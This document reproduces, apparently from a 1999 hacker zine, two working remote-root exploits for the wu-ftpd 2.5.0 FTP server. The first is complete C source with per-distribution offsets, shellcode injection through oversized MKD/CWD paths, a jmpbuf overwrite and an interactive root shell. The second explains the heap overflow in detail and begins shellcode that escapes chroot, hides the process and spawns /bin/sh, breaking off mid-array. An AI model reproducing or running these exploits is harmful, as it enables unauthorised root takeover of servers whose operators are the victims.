int xsocket (int domain, int type, int protocol);
int xsetsockopt (int s, int level, int optname, const void *optval,
unsigned int optlen);
int xconnect (int sockfd, struct sockaddr *serv_addr, int addrlen);
void sighandler (int signal);
struct hostent *xgethostbyname (const char *name);
struct hostent *xgethostbyaddr (const char *addr, int len, int type);
void putserv (const char *fmt, ...);
char *getline (void);
char *getmsg (const char *msg);
int wuftpd_250_sploitit (void);
dirptr newdir (char *name);
char *getdir (char *stat);
char *int2char (int addr);
int check_test_return();
/*----------------------------------------------------------------
*** How to get offsets ***
------------------------------------------------------------------
Edis elite way of getting offsets:
objdump --disassemble in.ftpd | egrep -6 "3c 2e|0f bf 43 06" |
grep "\$0x80" | awk '{print $8}'
------------------------------------------------------------------
My lame way of getting offsets:
(as many people have asked: search for ltrace at http://freshmeat.net/)
tty1:
nc 0 21
USER someuser
PASS hispass
tty2:
ltrace -S -p pid_of_ftpd 2>&1 | egrep "SYS_chdir|longjmp"
tty1:
CWD /not/current/dir
MOO
QUIT
tty2:
first argument of first SYS_chdir is mapped_path offset.
first argument of longjmp is errcatch offset
------------------------------------------------------------------
try 4096 and/or 1024 for maxpathlen (works 99% of the time).
------------------------------------------------------------------*/
struct sploitdata {
char *banner;
char *desc;
char pad_eax;
unsigned int maxpathlen;
unsigned int mapped_path;
unsigned int errcatch;
int (*code)();
int need_writable;
};
#define START_MAPPED 0x08060000
struct sploitdata spdata[] = {
{
"FTP server (Version wu-2.5.0(1) Tue Jun 8 08:55:12 EDT 1999)",
"rh6 - wu-ftpd-2.5.0-2.i386.rpm",
0,
4096,
0x0806a1e0,
0x08077fc0,
wuftpd_250_sploitit,
1,
},
{
"Fri May 21 10:45:57 EDT 1999",
"rh5.1 - wu-ftpd-2.5.0-1.RH5-1.i386.rpm",
0,
1024,
0x08066890,
0x0806fcc0,
wuftpd_250_sploitit,
1,
},
{
"Tue Jun 8 11:19:44 EDT 1999",
"rh5.2 - wu-ftpd-2.5.0-0.5.2.i386.rpm",
0,
1024,
0x08067504,
0x08077fc0,
wuftpd_250_sploitit,
1,
},
{
"FTP server (Version wu-2.5.0(1) Sat Sep 11 01:19:26 CEST 1999)",
"debian 2.1 - standard source compilation",
0,
1024,
0x806928c,
0x8071a80,
wuftpd_250_sploitit,
1,
},
{
"FTP server (Version wu-2.5.0(1)",
"rh6.0 wu-ftpd-2.5.0.tar.gz - standard source compilation",
0,
4096,
0x8068f80,
0x8076d60,
wuftpd_250_sploitit,
1,
},
{
NULL,
NULL,
0,
0,
0,
0,
NULL,
0,
}
};
struct sploitdata *sptr = spdata;
int debug = 0,
disp = 1,
fd = 0,
nostat = 1,
offset_selected = 0;
struct tesopt {
char *user;
char *host;
char *pass;
char *cwd;
char *rev;
char *dirname;
int dirlen;
char testonly;
char dirscanonly;
unsigned short int sport;
unsigned short int port;
struct hostent *he;
} tesopt;
struct hostinf {
char *header;
char *pwd;
char *writable_dir;
int pwdlen;
} hostinf;
#define COLOR
#ifdef COLOR
#define C_NORM "\E[0m"
#define C_BOLD "\E[1m"
#define C_GREEN "\E[32m"
#define C_RED "\E[31m"
#define C_BROWN "\E[33m"
#define C_BLUE "\E[34m"
#define C_PINK "\E[35m"
#define C_CYAN "\E[36m"
#define C_YELL "\E[33m"
#else
#define C_NORM ""
#define C_BOLD ""
#define C_GREEN ""
#define C_RED ""
#define C_BROWN ""
#define C_BLUE ""
#define C_PINK ""
#define C_CYAN ""
#define C_YELL ""
#endif
/* title
*
* print title
*
* no return value
*/
void
title (void)
{
printf (C_BOLD"---"C_GREEN"teso"C_NORM C_GREEN"ftpd"C_NORM C_BOLD"---"
C_NORM"\n");
return;
}
/* newdir
*
* return a pointer to a new dir with name name
*
* pointer to dir structure
*/
dirptr
newdir (char *name)
{
dirptr tmp;
tmp = (dirptr) xmalloc (sizeof (dirproto));
tmp->name = xstrdup (name);
tmp->next = NULL;
return (tmp);
}
/* usage
*
* print usage
*
* no return value
*/
void
usage (const char *me)
{
struct sploitdata *cow;
int i = 0;
/* printf ("usage: %s\n\n", me); */
printf ("-h - this help\n"
"-s <server> - specify server\n"
"-p <port> - destination port\n"
"-f <sourceport> - source port\n"
"-v(v) - increase verboseness, use twice for full verboseness\n"
"-u <user> - user name to use for login\n"
"-P <pass> - password to use for login\n"
"-c <startdir> - directory to cwd to after login\n"
"-d <writedir> - directory to test writeability with\n"
"-r <revhost> - revlookup this host sees you with\n"
"-D <dirlen> - specifies the directory length\n"
"-T - use test shellcode (prints success, spawns no shell)\n"
"-t <type>:\n");
for (cow = spdata ; cow->desc ; ++cow) {
printf ("%s-%s %3d %s%s-%s\n%s\n%s\n", C_BOLD, C_GREEN, i++, C_NORM,
C_BOLD, C_NORM, cow->banner, cow->desc);
}
printf ("%s-%s EOO %s%s-%s\n", C_BOLD, C_GREEN, C_NORM, C_BOLD, C_NORM);
exit (EXIT_FAILURE);
}
/* sighandler
*
* handle signals
*
* no return value
*/
void
sighandler (const int signal)
{
printf ("received signal: %d... exiting!\n", signal);
cleanup_and_exit ();
}
/* err
*
* print an error message. if arg0 is set add an errno message (perror like)
* exit afterwards
*
* no return value
*/
void
err (const int syserr, const char *msg, ...)
{
va_list ap;
printf ("%serr:%s ", C_RED, C_NORM);
va_start (ap, msg);
vprintf (msg, ap);
va_end (ap);
if (syserr) {
printf (": %s\n", sys_errlist[errno]);
} else {
printf ("\n");
}
cleanup_and_exit();
return;
}
/* parseargs
*
* parse arguments
*
* no return value (exit on failure)
*/
void
parseargs (int argc, char **argv)
{
char c;
opterr = 0;
tesopt.user = "anonymous";
tesopt.pass = "m@y.kr";
tesopt.dirname = "tesotest";
tesopt.port = 21;
tesopt.sport = 666;
tesopt.cwd = "";
tesopt.dirlen = 255;
tesopt.testonly = 0;
tesopt.dirscanonly = 0;
while ((c = getopt (argc, argv, "vhs:p:f:u:P:c:d:D:r:t:bTo")) != EOF) {
switch (c) {
case 'v': ++debug;
break;
case 'h': usage (argv[0]);
break;
case 's': tesopt.host = optarg;
break;
case 'p': if (optarg != NULL)
tesopt.port = x2port (optarg);
break;
case 'f': if (optarg != NULL)
tesopt.sport = x2port (optarg);
break;
case 'u': if (optarg != NULL)
tesopt.user = optarg;
break;
case 'P': if (optarg != NULL)
tesopt.pass = optarg;
break;
case 'c': if (optarg != NULL)
tesopt.cwd = optarg;
break;
case 'd': if (optarg != NULL)
tesopt.dirname = optarg;
break;
case 'r': if (optarg != NULL)
tesopt.rev = xstrdup (optarg);
break;
case 'D': tesopt.dirlen = atoi(optarg);
break;
case 't': sptr += atoi(optarg);
offset_selected = 1;
if (!sptr->desc) {
err (0, "invalid offset set");
}
break;
case 'T': shellcode = testcode;
tesopt.testonly = 1; break;
case 'o': tesopt.dirscanonly = 1; break;
}
}
if (tesopt.host == NULL)
err (0, "server not specified (see -h)");
if (tesopt.port == 0)
err (0, "port not or incorrectly specified (see -h)");
if (tesopt.sport == 0)
err (0, "sport not or incorrectly specified (see -h)");
if (tesopt.dirlen == 0)
err (0, "illegal dirlen!\n");
tesopt.he = xgethostbyname (tesopt.host);
return;
}
struct hostent *
xgethostbyname (const char *name)
{
struct hostent *tmp;
tmp = gethostbyname (name);
if (tmp == NULL)
err (1, "cannot gethostbyname");
return (tmp);
}
struct hostent *
xgethostbyaddr (const char *addr, int len, int type)
{
struct hostent *tmp;
tmp = gethostbyaddr (addr, len, type);
if (tmp == NULL)
err(1,"cannot gethostbyaddr");
return (tmp);
}
/* xmalloc
*
* wrap malloc with error handling
*
* return or abort
*/
void *
xmalloc (size_t size)
{
void *tmp = malloc (size);
if (tmp == NULL)
err (1, "malloc failed");
return (tmp);
}
/* xcalloc
*
* wrap calloc with error handling
*
* return or abort
*/
void *
xcalloc (int factor, size_t len)
{
void *new = calloc (factor, len);
if (new == NULL)
err (1, "calloc failed");
return (new);
}
/* xstrdup
*
* wrap strdup with error handling
*
* return or abort
*/
char *
xstrdup (const char *s)
{
char *tmp;
tmp = strdup (s);
if (tmp == NULL)
err (1, "strdup failed");
return (tmp);
}
/* xread
*
* read with error handling
*
* return length of readen data
*/
ssize_t
xread (int fd, void *buf, size_t count)
{
int tmp;
tmp = read (fd, buf, count);
if (tmp < 1)
err (1, "read failed");
return (tmp);
}
/* xwrite
*
* write with error handling
*
* return length of written data
*/
ssize_t
xwrite (int fd, const void *buf, size_t count)
{
int tmp;
tmp = write (fd, buf, count);
if (tmp < 0)
err (1, "write failed");
return (tmp);
}
/* xbind
*
* bind with error handling
*
* return bound socket
*/
int
xbind (int sockfd, struct sockaddr *my_addr, int addrlen)
{
int tmp;
tmp = bind (sockfd, (struct sockaddr *) my_addr, addrlen);
if (tmp < 0)
err (1, "bind failed");
return (tmp);
}
/* xsocket
*
* socket with error handling
*
* return allocated socket descriptor
*/
int
xsocket (int domain, int type, int protocol)
{
int tmp;
tmp = socket (domain, type, protocol);
if (tmp < 0)
err (1, "socket failed");
return (tmp);
}
/* xsetsockopt
*
* setsockopt with error handling
*/
int
xsetsockopt (int s, int level, int optname, const void *optval,
unsigned int optlen)
{
int tmp;
tmp = setsockopt (s, level, optname, optval, optlen);
if (tmp < 0)
err (1, "setsockopt failed");
return (tmp);
}
/* xconnect
*
* connect with error handling
*/
int
xconnect (int sockfd, struct sockaddr *serv_addr, int addrlen)
{
int tmp;
tmp = connect (sockfd, serv_addr, addrlen);
if (tmp < 0)
err (1, "connect failed");
return (tmp);
}
/* connect_to_ftp
*
* connect to ftpserver and resolve local ip
*
* return nothing
*/
void
connect_to_ftp (void)
{
int i = 1;
struct sockaddr_in sin;
struct hostent *he;
fd = xsocket (AF_INET, SOCK_STREAM, 0);
xsetsockopt (fd, SOL_SOCKET, SO_REUSEADDR, &i, sizeof (i));
bzero (&sin, sizeof (sin));
sin.sin_family = AF_INET;
// sin.sin_port = htons (tesopt.sport);
sin.sin_addr.s_addr = 0;
xbind (fd, (struct sockaddr*) &sin, sizeof (sin));
sin.sin_port = htons (tesopt.port);
sin.sin_family = AF_INET;
memcpy (&sin.sin_addr.s_addr, tesopt.he->h_addr, sizeof (struct in_addr));
xconnect (fd, (struct sockaddr*) &sin, sizeof (sin));
/* this is a good time to get our revlookup (if not user defined) */
if (tesopt.rev == NULL) {
i = sizeof (sin);
getsockname (fd, (struct sockaddr *) &sin, &i);
he = gethostbyaddr ((char *) &sin.sin_addr,
sizeof (sin.sin_addr), AF_INET);
tesopt.rev = xstrdup (he->h_name);
}
printf ("Connected! revlookup is: %s, logging in...\n", tesopt.rev);
return;
}
/* putserv
*
* send data to the server
*/
void
putserv (const char *fmt, ...)
{
va_list ap;
unsigned char output[1024];
int i, total;
memset (output, '\0', sizeof (output));
va_start (ap, fmt);
vsnprintf (output, sizeof (output) - 1, fmt, ap);
va_end (ap);
/* this is edis code
*/
total = strlen (output);
for (i = 0; i < total; i++) {
if (output[i] == 0xff) {
memmove (output + i + 1, output + i, total - i);
total++;
i++;
}
}
if (disp != 0 && (debug > 1))
printf ("%s%s%s", C_BLUE, output, C_NORM);
xwrite (fd, output, total);
return;
}
#define LINEBUFLEN 8192
char linebuf[LINEBUFLEN]; /* saves us free()ing trouble. */
/* getline
*
* get next line from server or local buffer
*/
char *
getline (void)
{
char y[2];
int i = 0;
memset (linebuf, '\0', sizeof (linebuf));
strcpy (y, "x");
while (strncmp (y, "\n", 1) != 0) {
if (i > (sizeof (linebuf) + 2)) {
err (0, "getline() buffer full");
}
i += xread (fd, y, 1);
strcat (linebuf, y);
}
if (disp != 0 && debug > 0) {
#ifdef COLOR
if (nostat != 0) {
char color[64];
memset (color, '\0', sizeof (color));
switch (linebuf[0]) {
case '2': strcpy (color, C_CYAN);
break;
case '3': strcpy (color, C_BROWN);
break;
case '4': strcpy (color, C_RED);
break;
case '5': strcpy (color, C_RED);
break;
default: break;
}
printf ("%s", color);
}
#endif
if (nostat != 0 || debug > 1)
printf ("%s", linebuf);
#ifdef COLOR
if (nostat != 0)
printf ("%s", C_NORM);
#endif
}
return (linebuf);
}
/* getmsg
*
* discard lines until expected response or error is reported
*/
char *
getmsg (const char *msg)
{
char *line;
int i = strlen (msg);
do {
line = getline ();
} while (strncmp (line, msg, i) != 0 && strncmp (line, "5", 1) != 0);
return (line);
}
/* log_into_ftp
*
* log into the ftp server given the login name and password
*
* return nothing
*/
void
log_into_ftp (void)
{
char *line;
char foundmatch=0;
line = getmsg ("220 ");
hostinf.header = xstrdup (line);
if (!debug)
printf("%s", line);
if (!offset_selected) {
for (sptr = spdata ; sptr->banner ; ++sptr) {
if (strstr(line, sptr->banner)) {
foundmatch=1;
break;
}
}
if (!foundmatch)
err(0, "No offset selected, and no matching banner found!");
}
printf ("Using offsets from: %s\n", sptr->desc);
putserv ("USER %s\n", tesopt.user);
getmsg ("331 ");
putserv ("PASS %s\n", tesopt.pass);
line = getmsg ("230 ");
if (strncmp ("5", line, 1) == 0)
err (0, "login not accepted!\n");
if (strlen (tesopt.cwd) > 0) {
if (cwd (tesopt.cwd) == 0) {
err (0, "initial CWD failed.");
}
}
getpwd ();
return;
}
/* recurse_writable
*
* recursively scans for writable dirs, starting in CWD
*
* return 1 for CWD is writable
* return 0 for no writable dir found
*/
int
recurse_writable (void)
{
dirptr dirroot = NULL,
current = NULL,
prev = NULL;
char *line = "",
*tmp = "";
if (is_writable () != 0)
return (1);
nostat = 0;
putserv ("STAT .\n");
while (strncmp (line, "213 ", 4) != 0) {
line = getline ();
tmp = getdir (line);
if (tmp == NULL)
continue;
if (dirroot == NULL) {
current = dirroot = newdir (tmp);
continue;
}
current->next = newdir (tmp);
current = current->next;
}
nostat = 1;
current = dirroot;
while (current != NULL) {
if (cwd (current->name)) {
if (recurse_writable ())
return (1);
cwd ("..");
}
prev = current;
current = current->next;
free (prev->name);
free (prev);
}
return (0);
}
/* mkd
*
* make a directory
*
* return 0 on success
* return 1 if the directory already exists
* retrun 2 on error
*/
int
mkd (char *name)
{
char *line;
putserv ("MKD %s\n", name);
line = getmsg ("257 ");
if (strncmp ("521 ", line, 4) == 0)
return (1);
if (strncmp ("257 ", line, 4) == 0)
return (0);
return (2);
}
/* rmd
*
* remove a directory
*
* return 0 on success
* return 1 on failure
*/
int
rmd (char *name)
{
char *line;
putserv ("RMD %s\n", name);
line = getmsg ("250 ");
if (strncmp("250 ", line, 4) == 0)
return (0);
return (1);
}
/* is_writeable
*
* check whether the current working directory is writeable
*
* return 1 if it is
* return 0 if it is not
*/
int
is_writable (void)
{
int i = 0,
is = 0;
redo:
if (++i > 3)
return (0);
is = mkd (tesopt.dirname);
if (is == 1) {
printf ("leet.. our file already exists.. delete and retry\n");
rmd (tesopt.dirname);
goto redo;
} else if (is == 0) {
rmd (tesopt.dirname);
return (1);
}
return (0);
}
/* cwd
*
* change current working directory on the ftp server
*
* return 1 on success
* return 0 on failure
*/
int
cwd (const char *path)
{
char *line;
if (debug != 0)
printf ("CWD %s\n", path);
putserv ("CWD %s\n", path);
line = getmsg ("250 ");
if (strncmp ("250 ",line, 4) == 0)
return (1);
return (0);
}
/* getpwd
*
* sets hostinf.pwd to CWD
*
* returns nothing
*/
void
getpwd (void)
{
char *tmp,
*line;
char *chr,
*rchr;
putserv ("PWD\n");
line = getmsg ("257 ");
if (strncmp ("257 ", line, 4) != 0)
err (0, "getpwd failed: incorrect answer: %s", line);
/* too long, but for sure long enough. */
tmp = xcalloc (strlen (line) + 1, 1);
chr = strchr (line, '"');
rchr = strrchr (line, '"');
if (chr == NULL)
err (0, "no \"'s in getpwd.");
if (chr == rchr)
err (0, "only one \" in getpwd.");
if ((rchr - chr) < 2)
err (0, "pwd too short?");
strncat (tmp, chr + 1, rchr - chr - 1);
if (hostinf.pwd != NULL)
free (hostinf.pwd);
hostinf.pwd = xstrdup (tmp);
free (tmp);
hostinf.pwdlen = strlen (hostinf.pwd);
/* printf("current pwd is %s\n", hostinf.pwd); */
}
/* getdir
*
* get directory from a STAT string (parsing works with wuftpd AND proftpd)
*
* return pointer to directory name on success
* return NULL on failure/not a directory
*/
char *
getdir (char *stat)
{
char *dir = stat;
if (strlen (dir) < 57)
return (NULL);
if (strncmp (" ", dir, 1) == 0)
++dir;
if (strncmp ("d", dir, 1) != 0)
return (NULL);
dir += 55;
dir[strlen (dir) - 2] = 0;
/* printf("strlen is %d for %s",strlen(dir), dir); */
if (strcmp (".", dir) == 0 || strcmp ("..", dir) == 0)
return (NULL);
return (dir);
}
/* cleanup_and_exit
*
* cleanup functions on exit
*
* return nothing
*/
void
cleanup_and_exit (void)
{
free (tesopt.rev);
free (hostinf.header);
free (hostinf.pwd);
close (fd);
printf ("%s\n", C_NORM);
exit (EXIT_SUCCESS);
}
/* x2port
*
* like atoi, but with getservbyname if atoi() fails
*
* return port
*/
int
x2port (const char *smtn)
{
struct servent *serv;
int port;
port = atoi (smtn);
if (port == 0) {
serv = getservbyname (smtn, "tcp");
if (serv != NULL)
port = htons (serv->s_port);
}
return (port);
}
/* int2char
*
* converts an integer to 4byte char *
*
* return port
*/
char int2char_tmp[8];
char *
int2char (int addr)
{
bzero(&int2char_tmp, 8);
int2char_tmp[0] = (addr & 0x000000ff);
int2char_tmp[1] = (addr & 0x0000ff00) >> 8;
int2char_tmp[2] = (addr & 0x00ff0000) >> 16;
int2char_tmp[3] = (addr & 0xff000000) >> 24;
int2char_tmp[4] = 0;
return (int2char_tmp);
}
/* wuftpd_250_sploitit
*
* tries to exploit wuftpd 2.5.0, after all preparation work is done.
*
* return 0 on error
* return 1 on success
*/
int
wuftpd_250_sploitit (void)
{
int shelloff,
times,
fill;
int start_writing_to_errcatch,
argvlen,
behind_errcatch;
int i, n;
char string[2048];
argvlen = strlen ("ftpd: ");
argvlen += strlen (tesopt.rev);
argvlen += strlen (": ");
argvlen += strlen (tesopt.user);
argvlen += strlen (": ");
if (strncmp ("anonymous", tesopt.user, 9) == 0)
argvlen += strlen (tesopt.pass) + 1;
times = (sptr->maxpathlen-hostinf.pwdlen) / (tesopt.dirlen + 1);
fill = sptr->maxpathlen-hostinf.pwdlen - (tesopt.dirlen + 1) * times;
if (debug > 0) {
printf ("CWD %d + (dirlen %d * %d times) + fill %d = %d\n",
hostinf.pwdlen, tesopt.dirlen, times, fill, sptr->maxpathlen);
}
if (strlen (shellcode) > (tesopt.dirlen - 40))
err(0, "shellcode too big, edit the source to use less padding,"
"\nhmm.. this shouldn't have happened with LaM3rZ shellcode!");
/* let's try to hit the middle of our 0x90 pad */
shelloff = sptr->mapped_path + hostinf.pwdlen
+ ( (tesopt.dirlen - strlen(shellcode)) / 2);
if (debug > 0)
printf ("will try to longjmp to 0x%x\n", shelloff);
start_writing_to_errcatch = sptr->errcatch - argvlen;
behind_errcatch = sptr->errcatch + (6 * 4) + 2 + 8;
if (debug > 0) {
printf ("errcatch(0x%x) - argvlen(%d) = start 0x%x - end 0x%x\n",
sptr->errcatch, argvlen, start_writing_to_errcatch, behind_errcatch);
}
memset (string, 'A', tesopt.dirlen);
if (debug<3) /* 0x0e/^N in shellcode -> not meant for humans. */
disp = 0;
for (i = 0; i < times; i++) {
switch (i) {
case 0: memset (string, 0x90, tesopt.dirlen);
memcpy (string+tesopt.dirlen-strlen(shellcode),
shellcode, strlen (shellcode));
break;
case 1: memset (string, 0x90, tesopt.dirlen); break;
default:
break;
}
string[tesopt.dirlen] = 0;
putserv ("MKD %s\n", string);
getline ();
putserv ("CWD %s\n", string);
getline ();
}
getpwd ();
disp = 1;
if (debug > 0)
printf ("Now %d bytes deep in dir structure.\n", hostinf.pwdlen);
if (fill != sptr->maxpathlen-hostinf.pwdlen)
err (0, "Calculation wrong. Error!");
if (fill > 506)
err (0, "Aw.. fuck! My fill is waaaay to big!\n");
/* onefile[0], onefile[1] and maybe pad_eax */
fill += sptr->pad_eax ? 12 : 8;
n = fill/4;
string[0] = 0;
for (i=0; i < n; i++)
strcat(string, int2char(start_writing_to_errcatch));
for (i=1; i < (fill - (n*4)); i++)
strcat(string, "A");
/* mapped_path + currentpwdlen + / + 3*4 -> should be pointer to errcatch */
strcat (string, int2char (sptr->mapped_path+hostinf.pwdlen+13)); /* Argv */
strcat (string, int2char (behind_errcatch)); /* LastArgv */
if (debug > 0)
printf ("Sending final CWD\n");
if (strlen (string) < 20)
err (0, "cwd string too short.. check for 0x0's.\n");
putserv ("CWD %s\n", string);
getline ();
/************ jmpbuf ***********/
if (debug > 0)
printf ("Sending jmpbuf\n");
string[0] = 0;
for (i=0; i<8; i++) /* (sizeof(jmpbuf) = 24)+8.. */
strcat (string, int2char (shelloff));
if (strlen (string) != 32)
err (0, "jmpbuf string too short.. check for 0x0's.\n");
putserv ("%s\n", string);
getline ();
return (1);
}
/* shell
*
* provide a pseudo shell..
*
* return nothing
*/
void
shell (void)
{
char buf[5120];
int l;
fd_set rfds;
printf("%sSpawning rootshell:%s\n", C_RED, C_NORM);
while (1) {
FD_SET (0, &rfds);
FD_SET (fd, &rfds);
select (fd+1, &rfds, NULL, NULL, NULL);
if (FD_ISSET (0, &rfds)) {
l = read (0, buf, sizeof (buf));
if (l <= 0)
cleanup_and_exit ();
xwrite (fd, buf, l);
}
if (FD_ISSET (fd, &rfds)) {
l = read (fd, buf, sizeof (buf));
if (l <= 0)
cleanup_and_exit ();
xwrite (1, buf, l);
}
}
}
/* check_test_return
*
* Check if testcode sploiting was successfull.
*
* return 0 on failure
* return 1 on success
*/
int check_test_return(char *what, int len) {
char line[1024];
int i, flags;
fd_set rset;
struct timeval tv;
printf("w8ing for testshellcode to respond...\n");
flags = fcntl(fd, F_GETFL, 0);
if (fcntl(fd, F_SETFL, flags | O_NONBLOCK) < 0)
err(1, "fcntl fucked up (testshellcode)");
FD_ZERO(&rset);
FD_SET(fd, &rset);
tv.tv_sec = 10;
tv.tv_usec = 0;
if (!select(fd + 1, &rset, NULL, NULL, &tv))
err(0, "select timed out(testshellcode)");
i = read(fd, line, len);
if (!strncmp(what, line, len)) {
printf("%sSploit successfull!%s\n", C_RED, C_NORM);
return(1);
};
printf("%sSploit not successfull!%s\n", C_RED, C_NORM);
return(0);
}
int
main (int argc, char **argv)
{
int i;
title ();
if (argc < 3)
usage (argv[0]);
signal (SIGINT, (void *) &sighandler);
signal (SIGQUIT, (void *) &sighandler);
parseargs (argc, argv);
printf("Connecting...\n");
connect_to_ftp ();
log_into_ftp ();
if (sptr->need_writable || tesopt.dirscanonly) {
printf ("Logged in! Searching for a writable directory...\n");
if (!recurse_writable())
err (0, "kurwa mac! no writable dir found\n");
} else {
printf ("Logged in!\n");
}
getpwd ();
printf (" %s is writable.. rock on!\n", hostinf.pwd);
if (!tesopt.dirscanonly) {
printf("Trying to sploit...\n");
sptr->code();
tesopt.testonly ? i = check_test_return("teso\n", 5) : shell();
if (!i)
printf ("sploiting not successfull\n");
}
cleanup_and_exit();
return (0); /* not reached */
}
@HWA
35.0 wuftpd250-sploit.c C0ded by nuuB [Sep 19, 1999]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From http://www.hack.co.za
/*
* wuftpd250-sploit.c - wuftpd 2.5.0 hands us (remote) r00t in the ensuing
* chaos that follows a heap overflow. Linux version.
*
* C0ded by nuuB [Sep 19, 1999]
*
* Compile with:
*
* cc wuftpd250-sploit.c -o wuftpd250-sploit
*
* Credits:
* typo for interesting discussions and the double combo idea.
* edi for the 'eip in PASS' idea.
* lcamtuf for finding the bug and posting on bugtraq.
* temas for a RH6 box to test this on.
*
* Quote:
*
* "<typo_> it's wicked... but you can change errcatch and LastArgv at the
* same time, thus doing an elite combo and owning the entire world"
*
* Below is a detailed description of how the exploit works. You shouldn't
* have too much trouble understanding what is going on. The code is written
* for readability and roboustness (i.e not using the 'printf()|nc' style).
*
* Have fun, but as always - BEHAVE!
*
* /nuuB
*/
/*
* Overflow:
*
* cwd(<EGG>) -> mapping_chdir() -> do_elem() -> strcat(mapped_path, dir);
*
* Pseudo call sequence for each received FTP command:
*
* if(command_not_implemented) longjmp(errcatch);
* setproctitle("<who>: <command>");
* do_<command>();
* setproctitle("<who>: IDLE");
*
* where
*
* setproctitle(<string>) {
* copy <string> to Argv[0] and pad with spaces to LastArgv;
* }
*
* Egg:
*
* /incoming/A--A/<c0de>/<c0de>A--A/eeee00001111oooooooovvvvLLLL\0
* ^- 0 ^- mp_size-255-256 ^- mp_size
*
* Pad: A--A=padding/NOP
* Data: e=eip for the 2x combo (see below), 0=owned_Argv[0], 1=owned_Argv[1]
* Overflowed variables: o=onefile, v=Argv (ptr to Argv[0]), L=LastArgv
*
* mp_size = sizeof(mapped_path) + any alignment bytes added by the compiler
*
* We can't get eip directly, but as setproctitle() copies data we have some
* control over to the area between Argv[0] and LastArgv we can do some neat
* stuff. There are several ways to do it, but this exploit uses the three
* different methods outlined below.
*
* Anon attack:
*
* We place the pointer to our c0de in PASS (used in setproctitle("IDLE")).
* eip can be snagged in different ways. One way is to overwrite the return
* address on the stack for setproctitle(), essentially turning the heap
* overflow into a stack overflow. The nature of the exploit forces us to
* know the exact place on the stack, and this varies with the environment.
* Thus this method is very unreliable, but is still included as we do
* this for fun :) A better way is to overwrite the JB_PC part of errcatch
* and then cause errcatch to be called by issuing an unimplemented command.
* Still, we need two offsets, but both are on the heap. As a bonus
* this method can't be stopped by Stack Guard or non-executable stacks.
*
* Required offsets: mapped_path, setproctitle() stack eip / errcatch.
*
* Account attack:
*
* There is no controllable data in the setproctitle("IDLE") call so we use
* two CWD's and make use of the setproctitle("CWD") calls. The first CWD
* will set the Argv stuff so the second CWD (with our eip) gets written
* where we want. The second CWD will have to change the Argv's so that
* we don't destroy the eip when the final setproctitle("IDLE") call comes.
* In this case we can't write eip to the stack as it will be hosed before
* we get a chance to use it. This method works for anonymous too and is
* unstoppable by Stack Guard etc.
*
* Required offsets: mapped_path, errcatch.
*
* Interesting finding:
*
* When trying to CWD <overflowing component> you get a 250 reply under
* RH5.1, but under RH6.0 you get a 550 (i.e chdir() fails) - even though
* the source for wuftpd is the same in both cases. This probably has to do
* with the different kernel/libc's and how they handle long paths. Anyhow,
* this needs to be taken into account in the double combo attack.
*
* Offsets:
*
* The above methods require two offsets to be known exactly. This gives
* us a lot of combinations to try. The amount could possibly be reduced
* a bit using more eip pointers, but as mapped_path has to be known
* the number of combinations is bigger than I think is practical. Thus
* there is no option to enter offsets from the command line.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <errno.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <ctype.h>
extern int errno;
/* Offsets that must be known (exactly) */
int mapped_path_size; /* not really an offset... normally 1024 or 4096 */
unsigned long mapped_path;
unsigned long eip_addr;
/* Values we want to set the corresponding variables to. Calculated from the
* above offsets.
*/
unsigned long c0de_addr;
unsigned long owned_Argv0;
unsigned long owned_Argv;
unsigned long owned_LastArgv;
#define TOP_OF_STACK 0xc0000000
/* Variable that decides if mkd_cwd() aborts on errors or not */
int mkd_cwd_bail_on_error=1;
/* Lets start collecting offsets... */
struct preset {
char *desc;
void (*attack)();
int mpsize;
unsigned long mp;
unsigned long eip_addr;
};
void attack_anon();
void attack_any();
/* Offsets can be found using gdb, objdump or ltrace */
struct preset presets[]={
{"eip RH 6.0 wu-ftpd-2.5.0-2.i386.rpm Tue Jun 8 08:55:12 EDT 1999",
attack_anon, 4096, 0x0806a1e0, 0xbfffe8a4},
{"ljmp RH 5.1 wu-ftpd-2.5.0-1.RH5-1.i386.rpm Fri May 21 10:45:57 EDT 1999",
attack_anon, 1024, 0x08066890, 0x0806fcc0+5*4},
{"ljmp RH 5.2 wu-ftpd-2.5.0-0.5.2.i386.rpm Tue Jun 8 11:19:44 EDT 1999",
attack_anon, 1024, 0x08067504, 0x08070930+5*4},
{"ljmp RH 6.0 wu-ftpd-2.4.2vr17-3.i386.rpm Mon Apr 19 09:21:53 EDT 1999",
attack_anon, 4096, 0x08067780, 0x08075520+5*4},
{"ljmp RH 6.0 wu-ftpd-2.5.0-2.i386.rpm Tue Jun 8 08:55:12 EDT 1999",
attack_anon, 4096, 0x0806a1e0, 0x08077fc0+5*4},
{"2x RH 5.1 wu-ftpd-2.5.0-1.RH5-1.i386.rpm Fri May 21 10:45:57 EDT 1999",
attack_any, 1024, 0x08066890, 0x0806fcc0+5*4},
{"2x RH 5.2 wu-ftpd-2.5.0-0.5.2.i386.rpm Tue Jun 8 11:19:44 EDT 1999",
attack_any, 1024, 0x08067504, 0x08070930+5*4},
{"2x RH 6.0 wu-ftpd-2.4.2vr17-3.i386.rpm Mon Apr 19 09:21:53 EDT 1999",
attack_any, 4096, 0x08067780, 0x08075520+5*4},
{"2x RH 6.0 wu-ftpd-2.5.0-2.i386.rpm Tue Jun 8 08:55:12 EDT 1999",
attack_any, 4096, 0x0806a1e0, 0x08077fc0+5*4},
{0,0,0,0,0}
};
/* Some stuff we need */
int ctrl;
int verbose;
char *local_hostname;
char *target_host;
int target_port;
char *target_user=0;
char *target_pass=0;
char *target_dir=0;
/*
* This c0de breaks out of chroot() and then goes through a lot of trouble
* to hide the process from the system operator. Finally a shell is spawned.
*
* c0de:
*
* setreuid(0,0); mkdir("h"); chroot("h"); for(i=0x42;i;--i) chdir("..");
* chroot("."); hide_process(); execve("/bin/sh");
*
* N0n0 c0dez: 0x00, 0x0a, 0x0d and for convenience 0x2f ('/').
*/
/* Not optimized for space as we got plenty of room */
#define C0DE_SIZE 402
char c0de[]="\xbc\xfc\xff\xff\xbf\xeb\x02\xeb\x1c\xe8\xf9\xff\xff\xff\x2e\x2e"
"\x30\x53\x64\x65\x76\x53\x63\x6f\x6e\x73\x6f\x6c\x65\x30\x53\x62"
